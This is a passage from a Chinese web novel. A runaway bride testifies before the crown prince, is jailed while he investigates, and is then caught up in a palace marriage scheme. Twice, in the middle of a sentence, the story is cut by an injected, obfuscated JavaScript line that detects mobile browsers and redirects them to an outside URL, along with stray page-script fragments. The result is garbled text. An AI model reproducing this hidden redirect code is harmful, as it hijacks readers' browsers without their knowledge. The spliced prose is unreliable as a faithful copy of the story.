半下午时,大理寺传唤白羽,慕五和牡丹都陪她同去,因为雪大,杂耍班没能正常演出,半道回来的贺六也跟着她去了。 他们四人坐马车来到大理寺衙门,同行之人中有皇子,又被恭恭敬敬地请到大堂就坐。 没过一会儿,太子在大理寺卿和两位少卿的陪同下来到堂中就坐。 白羽等人皆是白身,按规矩行礼,慕五在他兄长的眼神威慑下乖乖坐去旁边听审。 “起吧。”太子平和清润的声音响在耳畔,白羽听他又问:“堂下何人是白羽?” 白羽往前走了一步,垂头施礼道:“回大人,民女是。” 太子说:“抬起头来。” 高坐明堂之人是怎样一副清贵出尘、雅正端方、濯濯君子之貌,往前倒上几百年,白羽几乎天天都能见到。 他好像我师父啊…… 20. 召见 座上太子看见白羽面容,也是心中一叹:竟是这样一副好容貌,眉目若裁,身姿抚柳,飘飘欲仙,这样的人若是被娄家父子侵占了,那可真要说一句可怜可恨了。 太子又看了一眼座下傻愣愣的弟弟,想道:这样的女子,不怪小五愿意上心。 回过神,却看堂中站着的女子失神般盯着他瞧,太子不解皱眉,发问:“汝为何这般看着吾?” 她的眼神竟然让人觉得凄惶,就像是大雨来临之前骤然失去依托的雏鸟,惊惶无枝可栖。 白羽说:“大人好似我的一位故人。” 太子笑了笑,说:“审案中禁止和主审官套近乎。” 会开玩笑,感觉更像了。白羽心想。 接着她就听座上那位很神似她师父的男子威严开口:“孤奉圣命,主审此案,堂下人可是永州乡绅员外郎白松原之女白羽?” “民女是。” “为何远上京城状告当地父母官,所谓何事?据实说来。” “回大人。民女为白松原妾室所生之女,幼时民女的娘病故,大夫人将民女记为嫡出女,之后便将民女拘在府中教导,并不允许出门,后来民女才知道白松原与其夫人欲讨好娄知县,却舍不得自己的亲生女儿,于是便将民女记作嫡出,为的就是及笄后嫁与娄知县的大公子。” “民女多方打听才知道这娄大公子并不如大夫人所说,是个才学出众、洁身自好的青年才俊,反而他恶贯满盈、欺男霸女、宿醉花楼、逼良为娼。此人不堪为良配。民女曾哭求过白松原与其夫人,也曾拜托府中下人替我去府衙报案,但官府顾忌宫中的娄昭仪娘娘是娄知县的堂姊,并不肯接案,而我的举动也越发引得白松原和其夫人警惕,于是他们看管我更加严厉。” “因此我便佯装服从,直到成亲礼当日,扮成乞丐才终于逃出城去。城外我碰到了一支商队,与他们同行才终于离开永州所辖范围。谁知到了下一个城池仍能遇到娄知县派来的追兵,他与当地的地方官员勾结,陷我入狱,要将我送回永州审理。幸得好心人解救,才终于逃脱魔爪,这一切都有人证物证,如大人需要都可提交。” “我在渝州遇上慕五公子一行,他得知了我的处境后诚邀我上京城状告,但在菩提驿外我们遭遇了一次刺杀,杀手就是冲着我和慕五公子所去,”白羽坚定不移地道:“大人,民女有合理理由怀疑娄知县与叛军勾结,买通杀手杀害五皇子殿下与民女,请大人明查!” 此话一出,整个大堂为之一震。 大理寺的官员们你看看我,我看看你,都在想:这是能说的吗?完了,这下真要变天了。 白羽把饵抛出来,也不管鱼咬不咬钩。之前只是没想明白,后来“菩提驿刺杀案”之后,她有空的时候都在想为什么非得追着她不放。 如果说是即将入门的新妇逃婚了,为了面子也要把人抓回来,有情可原,但没必要。 如果是垂涎美貌,白羽更是哂笑,不过一副皮囊,更是没必要为之趋之若鹜。 她就仔细回想那些偶尔瞥见的细节,娄知县经常交往的武将、他寿辰前来送礼的高官、娄大公子喝醉了酒大言不惭的醉话…… 这些不用出门随便一打听就能知道,毕竟他们娄家在永州很出名,白羽没费多少功夫就将这些线索串联出来,结论就是——娄家勾结叛军,意欲谋反。 “汝所言真否?”太子心惊胆跳。 “是否为真应由大人调查证明,民女只是提出合理疑点,并不为最后结果担保。” 太子当机立断下令,“来人,将此女收押,派太子亲卫把守,不得有丝毫疏忽,否则唯尔等是问。” 太子带来的精兵立刻上前将白羽架住,就要压往牢房,慕五登时急了,其他两人虽然没说话,但也是一副情急模样, 牡丹已经暗暗蓄势,如果说这就是司命说的“白羽命数之外的劫”的话,那么她会立刻把人抢出带走。 慕五上前拦住侍卫动作,找太子理论去了,贺六眼观场中局势,也拦下了蓄势待发的牡丹,他看了看无所举动的白羽,悄声劝慰:“稍安勿躁,我想她来之前就已经预料到这个结果了。我虽然不懂时局,但她如今一番话把娄家彻底绑在了叛军一条船上,必定会引来无数报复,能被看管收押或许是好事。” 牡丹疑问,“你确定?” “八成可能性,她不会有事。” 牡丹大袖中握紧的拳头松懈下来,看贺六的眼神怪怪的,转头就看见白羽那家伙抽空对她眨了眨眼睛。 得了,白操心。 那头,太子跟胡搅蛮缠的慕五说不通,直接派人将他送回宫中。 没了人阻拦,白羽在太子亲卫的护送下来到大理寺牢房,给她分配的牢房或许还挑拣了一番,地上铺的稻草是干净的,只有处于地下的潮腥气和霉味,除此之外没有其他异味。 那两人将她关进去后,手把持着悬在腰间的刀柄,一言不发地守在牢房门外。 白羽没什么心理负担,他知道太子和吴王一党这么多年来,一直势如水火,她如今送了这么好一个借口置娄家于死地,置娄家于死地就是置背后的娄昭仪于死地,自然也就是置吴王于死地,顺便还能清理掉躲在暗处的叛军,太子没理由不抓住。 她把地上的稻草杆翻起来,铺垫厚实,坐了上去,出门穿得厚,现在也不是很冷,但她仍然把手拢在袖子里保暖。 如此安静的环境里传来的脚步声自然很突兀,伴随脚步声而来的还有环佩叮当声,这声音她曾在慕五身上听到过,是腰间悬挂的玉佩和象征身份的玉牌绶带碰撞发出的声响。 白羽已经猜到了来人是谁——太子。 果然,脚步声走至尽头,缓缓步出来一个清贵出尘的高大身影,隐约传来昂贵的松墨清香,那是太子身上的香气,熟悉的人、熟悉的气味让人卸下心防。 太子来到牢房门外,对手下人说:“打开房门。” 他走进来看着席地而坐的白羽,声音依然是温柔亲和的,眼神却显得很重。 “此案出结果之前,就先委屈白羽姑娘在牢房中度过。孤今日来是想问清楚,你可敢保证娄家真的与叛军有来往,勾结谋反?” 白羽仰头,以她的角度只能看到逆着光的太子剪影,但从他王冠上垂落在两侧的带子却能看得很清楚,他衣袍上绣着馥郁的白牡丹花,腰间蔽膝上悬着一块整体通透的羊脂白玉佩,和播州酒楼里慕五赠给她的那块一模一样的质地,不过离得远光线不明,她看不清楚上面刻着什么字,想来也是和慕五的一样,刻着他的表字。 鬼使神差的,白羽给了他肯定的回答。 “是的,我敢保证确有此事。”白羽本不想承担后果,但话已至此,她补充道:“能不能查到切实的证据,抓到对应的人就看殿下您的本事了。” “好,孤信你一次。” 太子没有犹疑,随即他命令守候在外的侍卫,“牢房阴寒,给白羽姑娘加一床席子和被褥,不好生火取暖,便再加一条棉被,供应热水。” “是。”有人领命,立即下去安排了。 “多谢殿下。”白羽口头表示,这是她应得的待遇。 “不必,既如此,孤就先行离开了。” “殿下走好,祝殿下顺利。” 接下来十余天里,白羽就老老实实待在牢房中度日,太子的人看管,不许有人无缘无故提审白羽,也不许任何人探视。 又过了十日,时间已经进入腊月,若不是白羽每天数着日子过,她都快忘如今是几月初几了。 腊月初六那天,牢房外突然来了一个老内监,和守在外面的两个太子亲卫一番交涉后就急匆匆地走了。 紧接着,这两个看守了她将近一月的侍卫打开牢门,对她说:“太子有令,白羽无罪释放,跟我们走吧。” 白羽走出牢房门,看着这间关押了她将近一月的牢房,想着总算出结果了,她是被释放走出去,而不是被毒死横着抬出去,那就说明太子赢了。 她跟着两个侍卫走出地牢,来到天光下。 想起在播州那次和贺六坐牢房,她如今牢房两进两出,也能说“功成名就”。 思绪刚拉回来,就被前来接她出狱的几人围住了,牡丹锤了她肩膀一下,半抱怨半忧心道:“好你啊,闷声不吭干大事!” 贺六朝她笑,掏出一把鲜绿的柚子叶,在她身上轻扫,声音柔和地说:“平安回来就好,柚子叶驱邪除晦气,保平安送吉祥。” 慕五更是激动得大冬天直扇他那把折扇,口中连连惊呼:“真没想到啊,我是真没想到啊!” 等他们该表示的表示完了,该震惊的震惊够了,白羽才难耐地挣脱出来说:“我知大家见到我都很惊喜,但能否容我先回客栈沐浴梳洗过后再说,我已经快一个月没洗澡了。” 几人闻言也回过神来,拥着她前往马车上。 回到客栈,白羽花了一个时辰沐浴沐发,待终于把自己收拾得干净利索后才出来见人。 坐在火炉旁一边烤火一边擦干头发,听着几人诉说她被关一月所发生的天翻地覆的大事。 主要是慕五说得天花乱坠的,牡丹也是个憋不住话的,和慕五抢着说,比谁说得精彩,贺六微微笑着,偶尔搭腔。 他们说得差不多了,白羽问:“娄知县一家已经被押解回京了吗?” “快了吧?”慕五不清楚具体时间,“十日前就有旨意让他们动身,多不过再有半个月,怎么也就到了。反正年关前肯定能把这事办结了!” 他也算是扬眉吐气了,自从他兄长成年后开始接触政事,三哥吴王就处处和他兄长作对,偏偏他父皇也不管。母亲说,让他不要管这些事,这些不是“父子兄弟”之间的事,而是“皇帝太子吴王”之间的事,他只需要做好让父亲轻松高兴的小儿子,尊敬哥哥的好弟弟就好。 他听了母亲的,如今总算是苦尽甘来了。 慕五气不过,抱怨道:“青州守备的柳岩松真是没用,让他抓叛军也能跑了一队人。” “既然叛军主力已经抓到了,剩下那些人也成不了气候。”白羽头发干了,她用发簪随手在脑后挽了一个髻,察觉到贺六一直在看她,她不解地看了回去,他却莫名移开视线,白羽没懂便也不管他,继续问慕五。 “你说了这么多,怎么没说吴王和娄昭仪什么情况?” 慕五沉默,然后声音低低地说:“没什么情况,一切如常,不过圣旨让吴王在年前赶回来过年,过完年再去修桥。” 白羽听闻后皱眉,皇帝这是什么意思? 相信吴王和娄昭仪没有跟叛军勾结,表示娄家虽然判罪,但娄昭仪一切如旧,吴王恩宠如昨,照样可以回京过年? 进入腊月后,长安的雪就没停,早晨刚停了那么一会儿,中午就又洋洋洒洒起来。 下雪了,慕五也就没回宫去,白羽说想吃涮羊肉,问了牡丹和贺六意见,他们都说可以,慕五便安排酒楼上了一个热腾腾的铜锅,几大盘现切的羊肉薄片,还有配好的蘸料,冬日里常见的素菜,以及一篮子新鲜的绿叶蔬菜。 四人许久未见,边涮边吃,聊到兴头上,慕五让厨房送了两壶酒,白羽也跟着喝了几杯,感觉胃里一下子就烧了起来。 牡丹跟慕五碰杯,两人已经喝疯了,贺六倒是知道白羽不怎么喝酒,看她喝了几杯样子不算好受,起身去厨房要了醒酒汤和桃子汁备用。 牡丹彻底喝醉了,端起贺六倒的桃汁一饮而尽,咂咂嘴巴喊慕五:“你是不是小气鬼?怎么舍不得……把好酒拿出来!这都没酒味儿……” 贺六又倒了一杯递给白羽,白羽谢过后喝下,总算觉得好受了一些。 一顿饭吃完后,牡丹和慕五一人捧了一碗醒酒汤喝,牡丹瞅瞅贺六,她知道白羽不喝酒,但上次贺六也没怎么喝,她好奇问道:“贺六,你不会喝酒吗?” “他酒量比你好多了,酒品也比你好。”白羽替他回答。 上次在播州客栈,孙成劝她酒时就见识过了。 “是吗?”牡丹平生最爱喝酒,闻言也来了兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780772|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趣,“那下次约一局,让我见识见识。” 贺六无奈地笑,刚要开口就被人打断了。 房间外酒楼掌柜的敲门,谨慎地提醒慕五:“殿下,宫中娄昭仪娘娘身边来人,说请白羽姑娘入宫叙话。” 屋中轻松愉悦的气氛引这句话一扫而空,慕五忧虑地蹙着眉看白羽,但又不能把人拦在外面不让进来。 只能说:“进来回话。” 白羽也在想娄昭仪见她是想做什么? 安抚?拉拢?还是惩罚? 门开,一个宫中内监打扮的宫人跟着掌柜的走进来,先恭恭敬敬地给慕五行礼,然后说了自己的来意。 慕五直接发问:“娄昭仪宣白羽进宫做什么?” “哎呦!瞧殿下您说的,娘娘请姑娘进宫自然是好事啊,姑娘您快准备吧,咱家侯着您。”内监顾左右而言他,就是不正面回答慕五的的话。 这人还是娄昭仪身边的内监总管,在她那很是得脸,慕五也不好直接斥责他,只能忍下火气说:“你先出去吧,稍后我陪着一起进宫。” 内监依言退下,等人走后,慕五才对白羽说:“你别怕,我等会陪你一起进宫见她,然后让人通知我母亲,我母亲是皇后,她不敢在皇后面前造次的。” “没事。”白羽看他们三个都是一脸忧心忡忡的样子,反过来安慰他们:“不就是去见娄昭仪吗,左不过她不敢当面害我性命就是了。” “你这真是‘才出狼窟,又入虎窝’。”牡丹感慨。 白羽说:“牡丹姐姐来帮我梳头吧,我不会做复杂的发式,但见娄昭仪怎么也得有规矩有气势吧。” 牡丹跟着白羽去里间梳头更衣,她选了一个高挑的朝天髻,梳好后带上绒花发式,是一朵典雅的雪青色“美人垂泪”菊花,配上几只精致的珍珠发钗和步摇,妆容也是清新淡雅的风格。 衣柜里,刚来京城那天,牡丹带着她买了好几身成衣,如今穿上外搭一件披风正好。 打扮齐整出门跟着慕五和内监坐车进宫。 酒楼门口,贺六眼神随着白羽的马车离开,愈发绵长深邃。 牡丹偏头看他,推了推他胳膊,提醒道:“回神了,怎么?看我们小鹤看得出神了?” 如果这是紫翎仙君本人,牡丹肯定老老实实、恭恭敬敬的,但他不是没有记忆么,如今还喜欢白羽,那她调侃两句怎么了? 贺六收回眼神,神色却并不如牡丹所预期的惊艳、心动、不舍等情绪,相反他很沉默,对着牡丹摇了摇头,就一个人沉默地走回房间,关上了门。 牡丹疑惑不解,他这是怎么了? 另一边,因为酒楼距皇城本就很近,白羽很快就进了宫,慕五在路上就派人去通知皇后了,他则跟着白羽一起去娄昭仪宫中。 娄昭仪宫外,内监通传。 白羽整理衣摆踏入,慕五紧随其后。 宫殿内雕梁画栋,室内摆放物件华丽考究,皆价值不菲。再进一道门,进入待客花厅,正对门口的榻上端坐着一位容貌娇艳、衣着精致的美貌女子,约摸三十来岁,皮肤保养得极好,看不到一丝皱纹。 娄昭仪,白羽看她第一眼哪怕不在宫中,哪怕不需要别人介绍,她也能认出来这是娄家人。 她有很明显的娄家人特征,很像,像得让人生恨,而和她有同样恨意的是座上的娄昭仪。 白羽就看着她明明眼睛里包藏着浓重的恨意,嘴上说出来的话仍像蕴着蜜一般好听悦耳。 “哎呀呀,这就是白羽姑娘吧。真是极标致的人才,怕是我年轻时候也比不过吧?”像是才发现慕五一样,惊讶道:“五殿下怎么也来我这了,平时盼都盼不来呢!” 白羽给她见礼,慕五是皇后所出的皇子,她只是昭仪,品级不够,但因为是皇帝的妃嫔,还是问候了一声。 “快,快让他们坐下,真是两个好孩子。” 这样看她,听她说话,倒是只能看出是个急言快语热心肠的长辈? 白羽在心里嗤笑,人人都有一张面具,娄昭仪要是不会伪装,吴王又怎么能和太子分庭抗礼? 白羽嘴上还是不能缺了礼数,她自觉问道:“多谢娄昭仪娘娘厚爱,不知娘娘宣民女进宫有何要事相告?” 说起这个娄昭仪的情绪倒是低落了下来,“还不是我娘家那个不懂事的堂弟做下的孽,真是苦了你了孩子。也是你跟我那大侄子没有缘分,我今日啊特意叫你来,一来是为了致歉,二来是为了姑娘的姻缘。” 白羽真是不懂她,说她不在乎娘家人吧,她心里恨她恨得跟什么似的,说她在乎吧,她只字不提娄知县跟叛军勾结,如今水落石出、真相大白,都已经要被押送进京了,她却只跟她说最浅层的婚嫁之事。 慕五心中一跳,阿习姑娘的姻缘,这娄昭仪想做什么? 紧接着就听她说:“我那儿今年二十有二,翻过年就是二十三岁了,一心扑在读书做学问上,至今还没娶亲。” 白羽这下知道她什么意思了,这老虔婆想让她给她当儿媳妇。她不会真觉得娄昭仪是看中她了,真心想把她配给吴王,娄昭仪也不是真心给她许配良缘,那她提起这茬是什么意思? 白羽顺着话头拒绝。 “这万万不可啊娘娘,民女身份低微,才识粗鄙不堪为吴王良配,还请娘娘收回成命。” “我知白姑娘你今年十六,二八年华,芳华正好,况你如此人才,我一眼就看中了,为何不可?难不成你以为我在诓你?若你同意,我即刻便去求陛下赐婚,过年吴王返京,来年开春你们就能完婚。” 疯子,这是个真疯子。白羽说不过她。 慕五也是干着急,他不能插话,眼看着白羽不占优势,一直在心里催促他母亲赶紧来。 娄昭仪还在逼问:“白姑娘,你意下如何呢?” “我……”白羽张口却觉得自己拒绝的语言实在匮乏。她也着急。 殿内,两个打不过一个。 殿外,内监通传。 “皇后娘娘驾到!” 21. 赐婚 听到皇后来了,白羽和慕五是真实地松了一口气。 娄昭仪皱眉,皇后怎么这时候来了? 不等她再多问,皇后步辇已经到了殿外,所有人只能出门迎接。 请安行李问好后,娄昭仪笑脸迎人,“皇后娘娘怎么到妾这里来了,有事您传召一声就是了,何苦累您亲自跑一趟。” 皇后自然是雍容华贵、端庄大气的装扮,年纪四十来岁,是个自然符合年岁生长的女人,权利的熏陶让她更加高贵。她扶着侍女的手从步辇里下来,视线先落在白羽身上,然后让她们平身这才说:“许久没有来你这里了,昭仪这里仍是风水宝地,地气养人。” “娘娘哪里的话,什么地方能比您的宫殿还要尊贵?快请进去坐着吧。” 白羽和慕五跟在两人身后进去,她就算再迟顿也能听出来皇后和娄昭仪话语里的机锋。 她在心里摇摇头,不管怎么样,她今天只要能平安出宫就好。 “你们方才在聊什么呢?怎么我来了就不说话了?”皇后端坐上首,端起茶盏轻轻抿了一口并不多饮,柔声问道。 娄昭仪指白羽,“娘娘快看这姑娘如何?” 皇后佯装此时才正眼看到白羽,她仔细打量后点头品评:“不错,眉目清正、仪容大方、姿态端庄,是个好姑娘。” “我也是说呢!”娄昭仪掩唇娇笑,“我看第一眼啊就喜欢,娘娘您也知道三儿那个不成器的,至今都不肯成家,我也是愁白了头,陛下给他选了几家贵女,他都摇头不愿。我啊,准备把这位姑娘说给三儿,您看如何?” “这也要父母之命媒妁之言,你我说了如何能作数,况且老三那里也得他点头才是。”皇后轻飘飘驳了回去。 娄昭仪端起茶碗,润了润喉,说:“其实娘娘您没来之前我们都说得差不多了,就差去陛下那里求赐婚圣旨了呢。” 白羽抬头,面部肌肉抽搐,这位怎么睁着眼睛说瞎话呢。 她从头到尾没答应,跟谈得差不多,就差赐婚差了十万八千里。她刚要出言反驳,就听皇后问话。 “说起来这位姑娘就是从永州远上京城来告御状的白羽白姑娘吧?”白羽起身行礼,再次拜见皇后,皇后抬手示意她坐下,接着说:“你敢于为自己抗争,胆子大,又有勇有谋,聪慧过人,像你这样的年轻女孩子,我是最喜欢最欣赏不过的。” 皇后看了一眼坐在白羽旁边的慕五,转移话头:“你一路上跟着我们小五奔波,又遭遇刺杀,受惊了吧?” “多谢皇后娘娘体恤,是民女要多谢五皇子殿下愿意伸出援手才是,一路上也多亏有殿下护送才能安然抵京。”白羽有点明白皇后什么意思了,顺着皇后的意思回话。 皇后点头,赞许道:“我们小五啊,从小就是这幅纯真的性子,也是你们的缘分。”她转头对娄昭仪说:“老三过了年就二十有三了吧,这姑娘看着也就十五六,年纪上差了些。其实与她最相配之人不是老三,而是小五。” 被点到的慕五怔愣,用扇子指着自己,一脸没有心机的纯疑惑:“我?” 白羽闭眼,她还是不明白。 她不想当娄昭仪的儿媳妇,当然也不想当皇后的儿媳妇啊! 不想听的话,继续入耳。 白羽就听皇后接着说。 “小五今年十五岁,翻过年也才十六岁,他们俩才是同龄人,又有一路同行、生死与共的情意,这不是天作之合是什么?” 娄昭仪气笑了,这个白羽对皇后来说毫无价值,她的家世不能给五皇子增加丝毫助力,于太子更是无益,何况一个已经定了亲又险些“生米煮成熟饭”的逃婚女子,皇后在跟她争什么? 她说话时笑着,眼睛里却没了笑意:“哎呀呀,这可真是‘一家好女百家求’,我和皇后娘娘都看上了这姑娘做媳妇,娘娘说得看吴王的意见,可您也没问五殿下的想法啊?” 皇后直视慕五:“小五,白羽姑娘给你做正妻,你难道不愿意?” “我……”慕五看向白羽的眼神复杂。 白羽当然能感觉到,但她没有丝毫表示。事到如今,这戏台子上已经没了她的台词,这是皇后和娄昭仪的折子戏,她没资格开口。 皇后还在催促,慕五情理之中,口吐真言:“我当然愿意,可是……” “愿意就好,只要你愿意,母亲立即替你去求赐婚圣旨,你们还小,先操办起来就是了。” 慕五没说出口的半句话是:可是为什么没人问一问白羽姑娘的意思呢? 皇后是个雷厉风行的人,她都将话说到此处了,娄昭仪只能落于下风。 此处对话结束,皇后让慕五带白羽先去她的宫中,她自己则去找皇帝求那道赐婚圣旨。 白羽跟随慕五来到皇后宫中,宫殿里的地龙和火炉一直燃着,室内温暖如春,热茶上桌,白羽除掉披风后坐下来端着捂手。 慕五在另一旁坐定,他偷眼觑白羽神色。 然后坚定口吻:“阿习姑娘你放心,我们日后做了夫妻,我肯定会加倍对你好的,而且我保证只有你一个人,绝不纳妾,你要是不放心我可以写保证书……” 白羽放下茶杯,直视慕五说:“我感谢你待我之心,但是今日你我婚事订立的原因想必你也清楚,我们未必能成。何况,慕五公子,我对你无意,请不用把心思花在我身上,你若同意,我们还是朋友。” 慕五攥着扇子沉默下来。 直到皇后回来,他才从自己的思绪中走出来。 皇后看向白羽说:“白羽姑娘可先行回住处等候,稍后会有旨意送达,我派人送你出宫。” “多谢皇后娘娘今日之情,民女铭记在心,先告退了。”白羽行完礼跟随宫人走了出去。 慕五下意识起身追随,被皇后一把拦住,“你留下,等会赐婚圣旨也会送来一份,而且我有话问你。” 慕五被皇后留下盘问,白羽这边顺利出宫,她坐在马车里看着窗外纷纷扬扬的雪花,忍不住在心中叹了一口气。今日目标是平安出宫,已达成,可是莫名多出来婚事让她措手不及。 她开始在心中思索该怎么把这赐婚给解除了。皇后应该也不是真心想让慕五娶她,所以皇后这边不成问题,慕五对她的心思还浅,说开了也不是问题,唯一成问题的是娄昭仪和皇帝,一个步步紧逼,一个皇权至高无上。 她是想解除婚约,但她也想活着。 白羽的马车回到客栈没多久,皇帝身边的内侍带着赐婚圣旨紧跟着就到了。 圣旨宣读后,白羽默然谢恩接旨,之后打发走了还想奉承她的内侍,对上一脸惊愕的牡丹和贺六,她叹了一口气,对两人说:“先进去吧,回去细说。” 她领先走在前面,她今天叹的气够多了。 回到屋内坐定后,白羽把进宫后的经过给两人讲了一遍,略去她和慕五的谈话,说完她喝茶润喉。 牡丹先问,“这个娄昭仪什么意思?她把你叫进宫就是为了把她儿子说给你,她一点都不介意因为你的状告她们娄家才暴露了恶行,然后被判罪吗?” “那是不可能的,”白羽摇头,“你没亲眼见过她,见过她你就知道了,这人是个‘笑面虎’,做什么事都有自己的目的。给我和吴王赐婚,最浅层的原因是报复我,毕竟婆母折腾儿媳是立规矩;更深层的原因是为吴王挽回声誉,简在帝心。” “报复你我理解,这给吴王挽回声誉怎么说?吴王这次不是没受影响吗?” 牡丹和贺六都是一脸不解,他们对时局还是了解太少了。 白羽解释:“笼络住我,娄昭仪此举有三点好处。一是邀买人心,百姓得知娄家跟叛军勾结,自然是痛骂,而我揭发是正义之举,我如果跟吴王成婚,吴王就是大义灭亲的有德之人;二是在朝臣中树立威望,虽储君之位已定,但太子若真是地位稳固,皇帝也不会坐视吴王势大,百官都在观望中,吴王若真能做到这一步,也能说明他是个宽容大度、是非分明的好君主;三是打消皇帝疑心,皇帝难道真的不会怀疑只是娄家和叛军勾结谋反,吴王和娄昭仪完全不知情吗?不可能的,疑心是位高权重者的通病,娄昭仪对娄家之事不闻不问,不听不说,就能说明她是个聪明女人,她此时让吴王和我订立婚事,也是在向皇帝表态。如此好处多多,她怎么会放过?” 牡丹解气,“那有什么用,最后还不是被皇后搅和了。” “这才是我头疼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780773|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方。”白羽闭眼扶额,撑在桌上不想说话。 贺六一直在听,这会儿也忍不住问道:“你不想嫁给慕五公子吗?” 白羽摇头,她还是那套说辞:“我不想给娄昭仪当儿媳妇,当然也不想给皇后当儿媳妇。我这趟来京也不是为此,本来以为告发娄家之事后能全身而退,没想到还是被卷了进来。” 贺六说:“那如今该怎么办,你想好对策了吗?” “尚未,只能先这样了,之后再想对策解除婚约。”白羽如是说。 窗外还在飘雪,进宫耽搁了一下午,这会儿天色已经渐渐暗下来,贺六瞧见白羽眉眼间倦色浓郁,想来也是。 她早上刚从牢狱中出来,吃了顿午饭,还没来得及休息就被请进宫中,丝毫不敢放松警惕地应对,直到现在才回来,谈完事情,贺六很体贴地告辞,留下空间让她好好睡一觉。 回到自己房中,他坐下来沉思。 白羽不愿跟慕五成婚,他怎么才能助她达成心愿? 他们有圣旨赐婚,单以他个人之力根本无法撼动皇权。 让圣旨作废的唯一办法就是另一道圣旨,可以是另一个皇帝的圣旨,也可以是另一个王朝的建立,圣旨依托于皇权,皇权不存,圣旨自然没了效力…… 贺六走后,白羽脱掉外衣和牡丹进了内室。 内室也有暖炉,白羽在炉子旁坐下,她还有话和牡丹单独说。 没急着开口,是因为看到牡丹犹犹豫豫也有话想跟她说,于是等她先开口。 牡丹想了半天才下定决心,问白羽:“这会是你的劫吗?” “你说赐婚还是夺嫡之争?” “都有吧……” “我也不知道,”白羽缓缓摇头,她说:“迄今为止,我做的所有决定都是出于内心的选择,可谁知道我的选择会不会就是命运的推手,所以我无法确定。” 牡丹大手一挥,洒脱道:“不管了,若真是劫,度它就是了。不过我还是想问,若真是夺嫡,你选谁赢?” “于情于理,于公于私,我都会选太子。”白羽停顿了一下,接着说:“你觉不觉得太子……” “像你师父,芫回上神。”牡丹眼神晶亮地接道。 “你也觉得像?那就不是我的错觉了,可是我师父不是已经……,世间应该不会存在两位远古上神,太子是谁的化身呢?”白羽一边思索一边絮絮叨叨地说。 “我那天就想跟你说了,可惜后来一直没机会。”牡丹提议,“刚好你如今跟慕五结亲了,慕五是太子的亲弟弟,我们接近太子打探情况就方便多了。” 白羽赞同,“我正有此意,就是要找个合适的理由。” “就说想去感谢太子为你的案子费心,将娄家人绳之以法,免去你的牢狱之灾。” 说到这,牡丹看着白羽调侃:“以慕五对你的情谊,他不会不答应的。” 白羽选择性失聪,只答她前半句话,“理由合情合理,确实该感谢,我明天就去递拜贴。” 牡丹眼神格外有深意地瞧着白羽,想了想还是说道:“对了,有个情况跟你说一声。你今天进宫的时候贺六盯着你的马车看了很久,之后就一言不发把自己锁在房间里,你回来他才出来,他当时情绪怪怪的。” 白羽把自己浑身都烤热了,站起来倒茶喝,听闻牡丹的描述后,在心里过了一遍也就明白了。 她神色没有变化,端了一杯热茶走过来递给牡丹,自己又去倒了一杯,这才说:“正常,他觉得来到长安后他帮不上我什么忙,无论是我入狱还是被赐婚,都是他无能为力的事。” 和以前赶路时,为她找大夫治腿伤、为她亲手做拐杖、为她煎药、抱她走过泥泞难行的小路,是完全不同的感觉。 牡丹接过茶杯饮了一口,还是皱眉不喜,她听了白羽的话,若有所思地点点头,问道:“那需要多关注他吗?” 白羽说:“不用。他会想明白的。” 因为这些事我也无能为力。白羽在心里补充道。 还真是无情啊! 牡丹观察完白羽面色,得出这个结论。 不过无情也好,要真是有情,这后面八十一世该怎么过啊…… 22. 试探 腊月初七,天降大雪。 晨起,太子站在檐下观雪,身旁詹事汇报日程,他听完点点头,然后问:“明日腊八,宫中宴请,都准备好了吗?” 詹事拱手答:“殿下放心,都安排好了。” 事情汇报完毕,太子挥手让他退下,招来一名内监,吩咐他:“去看看五殿下醒了没有,醒了就让他回去好好读书。” 内监应了“是”,忙跑向慕五昨夜睡下的地方。 昨天跟皇后谈过话之后,慕五就来了太子这里。太子自然知道圣旨赐婚的事,皇后去娄昭仪宫里前派人跟他通过气,也知道慕五不是不愿,那原因就很好猜了。 果然,太子稍微问了几句,他那个垂头丧气,仿佛斗败的公鸡一样的弟弟就和盘托出了。 原来是“襄王有意,神女无心”啊! 太子摇摇头,好笑地去了书房处理政事,今日休朝,但他还是闲不下来。 没过多久,一个主簿前来禀报,说是收到了一封拜帖,但因送帖之人身份特殊,他不好处理,所以特来询问太子意见。 太子让人放他进来回话,手下批阅不停,问道:“何人拜帖?” “回殿下,是白羽姑娘。” 慕五睡眼惺忪地来找他兄长告别,走到书房门口就听见了这么一句回话。 他快步走进去,喃喃自语:“她怎么来了?” “小五不想见她?”太子饶有兴味地看着慕五,正话反说:“那我让她回去。” “别啊,兄长!”慕五别别扭扭的,后半句声音更低了,“她来找你肯定有事,再说了,我没说不想见她啊。” 太子问那主簿:“听到了?人还在等着的话就让进来吧。” “是,下臣这就去通传。”主簿拱手行礼退下。 待客自然不能在书房,太子离开书房去花厅,看到慕五还跟着他,于是赶他:“你还待着做什么?还不去弘文殿上课。” “我等会再去,兄长,要不今天给我告假吧。” 太子边走边回头戳他额头,“你啊,快到年底了,小心课业不过关被罚,我可救不了你。” 慕五只是一味地傻笑,仍然跟着太子步入花厅。 热茶上桌,没等几息,内监就领着白羽和牡丹进来了,走过连廊来到花厅门前,侍女伺候两人扫去身上的落雪,打开厚门帘子,进到外间再除去披风,这才领着两人去花厅内室见太子。 进门先尊礼数,白羽和牡丹行礼拜见太子和五皇子。 